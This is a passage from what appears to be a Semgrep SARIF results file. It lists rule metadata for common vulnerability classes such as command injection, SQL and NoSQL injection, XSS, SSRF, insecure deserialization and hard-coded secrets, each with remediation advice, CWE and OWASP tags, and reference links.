tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","id":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","name":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-access-before-action.file-access-before-action"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"help":{"markdown":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://golang.org/pkg/crypto/tls/#:~:text=MinVersion](https://golang.org/pkg/crypto/tls/#:~:text=MinVersion)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","id":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","name":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","id":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","name":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln](https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Document/write](https://developer.mozilla.org/en-US/docs/Web/API/Document/write)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML](https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML)\n","text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","id":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","name":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","id":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","name":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","id":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","name":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","id":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","name":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","id":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","name":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"help":{"markdown":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.exec-use.exec-use)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php)\n","text":"Executing non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.exec-use.exec-use","id":"php.lang.security.exec-use.exec-use","name":"php.lang.security.exec-use.exec-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.exec-use.exec-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"help":{"markdown":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write","id":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","name":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","id":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","name":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"help":{"markdown":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n","text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host","id":"go.lang.security.injection.tainted-url-host.tainted-url-host","name":"go.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"help":{"markdown":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/](https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/)\n","text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","id":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","name":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"help":{"markdown":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)\n","text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","id":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","name":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","id":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","name":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.strings.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify."},"help":{"markdown":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n","text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as 